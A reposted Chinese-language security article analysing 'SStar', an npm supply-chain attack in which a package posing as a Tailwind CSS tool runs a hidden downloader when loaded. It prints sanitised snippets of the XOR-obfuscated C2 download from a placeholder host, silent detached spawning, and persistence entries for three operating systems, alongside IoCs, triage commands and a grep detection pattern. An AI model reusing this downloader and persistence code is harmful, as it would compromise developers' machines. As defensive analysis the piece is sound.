SStar一例Web3npm投毒的孤狼案例

admin 2026-06-18 05:16:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细分析了2026年5月出现的SStarnpm供应链攻击案例,攻击者通过伪装成TailwindCSS工具的tw-style-utils包,在模块加载时静默下载恶意代理。攻击链包含假项目诱导、XOR混淆C2地址、跨平台伪装、无感启动及双循环通信机制,全程10秒内完成且能绕过常规防御。关键发现包括恶意包仍可下载、使用模块顶层代码而非postinstall钩子、具备持久化能力。建议开发者检查IoC指标并加强依赖审查。 综合评分: 85 文章分类: 供应链安全,恶意软件,漏洞分析,WEB安全,安全运营


cover_image

SStar 一例 Web3 npm 投毒的孤狼案例

Calvin So Calvin So

赛博生存指南

2026年6月11日 08:38 浙江

在小说阅读器读本章

去阅读

原文: www.iru.com/blog/sstar-agent

2026年5月26日,一个名叫 tw-style-utils 的 npm 包悄然上线。它完美伪装成 Tailwind CSS 排版插件,99% 的代码直接照搬合法开源包 @tailwindcss/typography。剩下的 1%,是一个不到 5KB 的恶意下载器。开发者只需要执行一行 npm install,电脑就不再属于自己。 没有弹窗,没有报错。


一、时间线

| 时间 (UTC) | 事件 | | — | — | | 2026-05-26 17:19 | [email protected] 发布到 npm | | 2026-05-26 17:30 | 同一攻击者的另一个包 [email protected] 发布(间隔仅11分钟) | | 2026-05-26 18:55 | [email protected] 更新版发布 | | 2026-05-27 17:53 | mouse5212-super-formatter 全部被 npm 撤下 | | 截至发稿 | tw-style-utils 仍可正常下载,未被标记为恶意 |

⚠️ 值得注意的是,这个包并未出现在主流 Shai-Hulud 检测器的 3290+ 恶意包列表中。它是一次独立的小型攻击。


二、攻击链全景

假项目(GitHub)
    ↓ 开发者 clone + npm install
投毒 npm 包(tw-style-utils)
    ↓ require() 触发模块顶层代码(非 postinstall!)
XOR 解码 C2 地址
    ↓ 静默下载二进制
平台检测 + 下载对应平台的 Agent
    ↓ detached spawn + stdio ignore
SStar Agent 运行
    ↓ 安装持久化 + 双循环 C2 通信
开发者电脑完全沦陷

整个过程不到 10 秒。你感知到的唯一异常,可能就是 npm install 跑得”稍微慢了一点”。


第一步:假项目——你的警惕性在这里失效

攻击者在 GitHub 上搭建了一个看起来非常正经的 Web3 面试项目。package.json 长这样:

{
  "name": "chainquest-bounty",
  "version": "1.0.0",
  "scripts": {
    "dev": "next dev",
    "build": "next build"
  },
  "dependencies": {
    "next": "^14.0.0",
    "react": "^18.0.0",
    "tw-style-utils": "^0.7.1"
  }
}

nextreact 都是正常的,tw-style-utils 看起来就像一个普通的 Tailwind CSS 工具库。项目里有完整的 README、LICENSE、demo 页面,甚至还有一些仿造的 commit 历史。

唯一的可疑信号是:tw-style-utils 不在任何热门包列表中,下载量几乎为零。


第二步:投毒 npm 包——99% 的合法,是为了掩盖 1% 的致命

tw-style-utils 的目录结构堪称”完美犯罪”:

tw-style-utils/
├── package.json        # 元数据完全照抄 @tailwindcss/typography
├── src/
│   ├── index.js        # 99% 合法代码 + 1% 恶意载荷
│   ├── styles.js       # 从合法包复制
│   └── utils.js        # 从合法包复制
├── README.md           # 从合法包复制
└── LICENSE             # 从合法包复制

关键数据: 包大小 80KB。正常的 Tailwind CSS 排版插件通常不到 10KB,额外的 70KB 就是恶意载荷。但有多少人在安装前会检查包体积?

npm 页面的伪装也毫无破绽:

  • • 描述、关键词照抄 @tailwindcss/typography
  • • 唯一依赖 postcss-selector-parser 是合法的 PostCSS 工具
  • • scripts 看起来正常(dev、test、build)
  • • MIT 开源协议

维护者信息:

  • • 用户名:superstar777
  • • 邮箱:[email protected]
  • • 行为特征:2026-05-26 当天 1 小时内连发两个版本,且同时发布了另一个包

这些信号单独看都不致命,但组合在一起,就是一个典型的”速生 malicious package”画像。


第三步:触发机制

很多开发者知道 npm install --ignore-scripts 可以防止 postinstall 钩子执行。部分团队甚至在 CI 里强制开了这个 flag,觉得这样就能挡住供应链攻击。但 SStar Agent不用 postinstall。 它的恶意代码藏在模块的顶层 IIFE(立即执行函数)里:

// src/index.js
const legitimateCode = require('./styles');
// ... 200 行完全正常的 Tailwind 代码 ...
module.exports = legitimateCode;

// 模块顶层立即执行 —— require() 或 import 时自动触发
(function() {
  const platform = process.platform;
  // ... 恶意下载器逻辑 ...
})();

这是 Node.js 的设计特性: 当一个模块被 require() 或 import 加载时,该模块文件内的所有顶层代码都会立即执行。这是预期行为,不是 bug。这意味着攻击者只需要让你在代码里写一行 require('tw-style-utils'),或者在一个依赖了它的项目里执行 npm run dev,恶意代码就会无声无息地运行。

你的防御手段,在这一步几乎全部失效:

| 防御手段 | 为什么防不住 | | — | — | | --ignore-scripts | 只拦截 install 钩子,不拦截模块加载 | | npm audit | 依赖已知漏洞数据库,新恶意包不在其中 | | snyk 等依赖扫描 | 同上,无历史污点 = 无告警 | | 人工代码审查 | 80KB 的混淆代码, mixed 在 99% 的合法代码中 |


第四步:XOR 混淆 + 平台适配——简单,但够用

恶意代码的第一步是解码 C2(命令控制)服务器地址。它没有用什么高大上的算法,而是最朴素的单字节 XOR:

function xorDecode(hexStr, key) {
    return Buffer.from(hexStr, 'hex')
        .map(b => b ^ key)
        .toString('utf8');
}

// C2 URL 被 XOR 0x2a 编码成随机 hex
const c2Url = xorDecode('6e4a4e6e0703066e...', 0x2a);
// 解码后: https://otter-stack.example.com/d/agent

为什么不用 AES 或 RSA?因为没必要。静态扫描工具搜索的是明文字符串,XOR 后的 hex 序列完全不会被识别为 URL。攻击者追求的不是密码学强度,而是绕过自动化检测

解码 C2 地址后,代码还会做平台检测,下载对应版本的 SStar Agent:

function getTargetFilename() {
    const platform = process.platform;
    const filenames = {
        win32:   'WindowsUpdate.exe',       // 伪装成 Windows 更新
        darwin:  'com.apple.update.agent',   // 伪装成 macOS 系统服务
        linux:   'systemd-resolved.service', // 伪装成 Linux 系统服务
    };
    return filenames[platform] || 'update';
}

三个平台,三种伪装文件名,都伪装成系统更新服务,降低被手动排查时一眼识破的概率。


第五步:静默下载与启动——你什么都不会看到

const targetPath = path.join(os.tmpdir(), filename);
const file = fs.createWriteStream(targetPath);

https.get(downloadUrl, (res) => {
    res.pipe(file);
    file.on('finish', () => {
        file.close();
        if (process.platform !== 'win32') {
            fs.chmodSync(targetPath, 0o755);  // 赋予执行权限
        }
        // 关键:静默启动
        const child = spawn(targetPath, [], {
            detached: true,    // 脱离父进程,关掉终端它还在跑
            stdio: 'ignore',   // 无任何输入输出,控制台干干净净
            windowsHide: true  // Windows 下隐藏窗口
        });
        child.unref();  // 父进程不等待子进程,直接退出
    });
});

三个参数的组合,让这次植入完全无感:

  1. 1. detached: true — 子进程独立运行,终端关了它还在
  2. 2. stdio: 'ignore' — 标准输入输出全部被丢弃,终端没有任何异常输出
  3. 3. child.unref() — 父进程可以正常退出,不会因为子进程而挂起

从用户的角度看,npm install 正常结束,光标回来了,一切如常。


第六步:持久化——重启、关机、换终端,都逃不掉

SStar Agent 会在系统里建立持久化机制,确保重启后自动运行:

macOS: LaunchAgent plist,伪装系统更新服务

<key>Label</key>
<string>com.apple.update.agent</string>
<key>RunAtLoad</key><true/>&nbsp; &nbsp; <!-- 登录即启动 -->
<key>KeepAlive</key><true/>&nbsp; &nbsp; <!-- 崩溃后自动重启 -->

Windows: 复制到启动文件夹

copy %TEMP%\WindowsUpdate.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"

Linux: systemd user service

[Service]
ExecStart=/tmp/systemd-resolved.service
Restart=always &nbsp; &nbsp;<!-- 崩溃后自动重启 -->

三种方式,一个共同点:伪装成系统更新服务。如果你不去刻意翻查 LaunchAgent 列表、启动文件夹或 systemd 服务,根本发现不了。


第七步:C2 通信——双循环 + 抖动间隔 = 极难检测

SStar Agent 上线后进入双循环通信模式:

循环 1:命令轮询(每 20-60 秒随机间隔)

Agent → C2: "我还活着,有活儿干吗?"
C2 → Agent: { "text": "whoami" }
Agent → C2: 执行结果回传

循环 2:遥测回传(每 45-160 秒随机间隔)

Agent → C2: 系统信息 + 目录树 + 环境变量

两个设计细节体现了攻击者的”工程思维”:

  1. 1. 抖动间隔(Jitter) — 不是固定每 30 秒轮询,而是在一个范围内随机。这让基于固定时间间隔的异常流量检测完全失效。
  2. 2. 静默失败 — 所有网络请求都包裹在 try/catch 里,异常时直接跳过,不做任何重试或报错。即使 C2 被封,Agent 也不会因为异常日志而暴露自己。

C2 支持的操作能力:

  • • Shell 命令执行:任意系统命令
  • • 文件窃取 + 分片上传:22MB 一块,绕过单文件大小限制
  • • 系统信息收集:主机名、用户名、目录结构、环境变量

三、IoC 指标(如果你怀疑自己中招了)

恶意 npm 包

  • • [email protected] — shasum: 0428afb4523a88983f7f4e950f04736706981158
  • • [email protected] — shasum: e41c0fc1baa1e0f3557b9e4a198addf2a8138144

攻击者身份

  • • npm 用户:superstar777
  • • 邮箱:[email protected]

macOS 排查

  • • 可疑文件:~/Library/LaunchAgents/com.apple.update.agent.plist
  • • 可疑文件:~/.local/share/update-agent/update
  • • 可疑进程:包含 sstarotterupdate.agent

Windows 排查

  • • 可疑文件:%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe
  • • 可疑目录:%LOCALAPPDATA%\WpnUserSvc\
  • • 可疑进程:WpnUserSvcGoogleUpdatesstar

网络侧

  • • 连接 otter-stack 相关域名
  • • 未知 HTTPS 连接,且 POST 请求呈现随机间隔

排查命令速查

# macOS
ls&nbsp;-la ~/Library/LaunchAgents/ | grep -v&nbsp;"com.apple\|com.google\|com.microsoft"
ps aux | grep -iE&nbsp;"sstar|otter|update.agent"&nbsp;| grep -v grep
lsof -i -P | grep -iE&nbsp;"otter-stack"

# Windows
dir&nbsp;"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
Get-Process | Where-Object {&nbsp;$_.Name -match&nbsp;"sstar|WpnUserSvc"&nbsp;}
netstat -ano | findstr ESTABLISHED

四、SStar vs. Shai-Hulud:小作坊 vs. 工业化

2026 年 npm 供应链攻击的”明星”是 Shai-Hulud / TeamPCP,一个持续 9 个月、横跨四大包管理器的 APT 级行动。SStar Agent 和它比,差距是全方位的:

| 维度 | SStar Agent | Shai-Hulud / TeamPCP | | — | — | — | | 加密 | 单字节 XOR (0x2a) | AES-256-GCM + RSA-OAEP 混合加密 | | 规模 | 1 个包,2 个版本 | 3000+ 恶意包,横跨 npm、PyPI、RubyGems、Go | | 横向移动 | 无 | 自动扫描 AWS 18 区域 / K8s 全命名空间 / Vault / GitHub Actions | | 签名伪造 | 无 | 伪造 SLSA Provenance + Sigstore 全链路签名 | | 自毁机制 | 无 | Deadman Switch(token 被撤销则执行 rm -rf ~/) | | 持续运营 | 单次攻击 | 2025 年 9 月至今 |

事实上,正因为 SStar 足够简单,它才更难被检测到。Shai-Hulud 因为规模大、特征明显,已经被多个检测器覆盖;而 SStar 这种”孤狼式”攻击,反而容易成为漏网之鱼。不过都利用了require()顶层代码执行(npm系统性弱点)


防御建议

个人开发者

  1. 1. 绝不直接 npm install 陌生项目。 先审查 package.json,对不认识的依赖逐个 npm info 查看年龄、版本数、下载量、维护者历史。
  2. 2. 做快速静态扫描。 对可疑依赖执行:grep -E "child_process|spawn|exec|fetch|https\.get" node_modules/<pkg>/src/*.js
  3. 3. 安装依赖安全检查工具。 如 socket.dev 或 snyk,它们能识别异常行为模式,而非仅依赖漏洞数据库。
  4. 4. 在隔离环境运行陌生代码。 使用 Docker、VM 或 Codespaces,绝不在主力机上直接跑。

企业团队

  1. 1. 私有 npm registry + 白名单策略。 只允许通过审核的包进入内部 registry。
  2. 2. CI/CD 集成依赖扫描。 不仅用 npm audit,还要引入行为检测工具(如 Shai-Hulud 检测器)。
  3. 3. 最小权限原则。 开发机不存储生产凭证,代码仓库不直接连接生产环境。
  4. 4. 终端部署 EDR。 监控异常进程创建(detached spawn、写入启动目录)和非常规网络连接。

行业层面

npm 的 require() 顶层代码自动执行是一个系统性设计缺陷。只要这个”特性”存在,类似攻击就会持续发生。--ignore-scripts 只堵住了 postinstall 这一条路,但模块加载时的副作用完全没有防护。

这需要 Node.js 生态从架构层面解决,比如:

  • • 引入模块沙箱,限制加载时的 API 访问
  • • 提供纯无副作用导入机制(如显式标记 side-effect-free
  • • 建立运行时行为审计标准

结语

SStar Agent 不是最复杂的供应链攻击,甚至算不上”高级”。但它精准地击中了开发者最薄弱的一环——信任惯性

你信任 npm 的生态审核,信任 GitHub 上的 star 数和 README,信任 npm install 是一个安全的动作。攻击者知道这一点,所以他们的策略极其朴素:不需要骗过安全专家,只需要骗过那个正在赶 deadline、没时间多看的你。

而我们都知道,大部分人在 npm install 报错之前,是不会多看一眼的。


本文仅供安全研究和防御教育使用,所有 POC 代码已脱敏处理,不会直接造成危害。

IoC 数据来源于公开 npm registry 和 GitHub,分析基于静态代码审查。


参考资源

  • • Shai-Hulud 供应链攻击检测器:github.com/Cobenian/shai-hulud-detect(3290+ 恶意包)
  • • Mini Shai-Hulud 法证数据集:github.com/copyleftdev/mini-shai-hulud-dragnet
  • • Shai-Hulud 2.0 检测器:github.com/gensecaihq/Shai-Hulud-2.0-Detector
  • • npm 官方页面:npmjs.com/package/tw-style-utils

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博生存指南 Calvin So Calvin So《SStar 一例 Web3 npm 投毒的孤狼案例》

    评论:0   参与:  0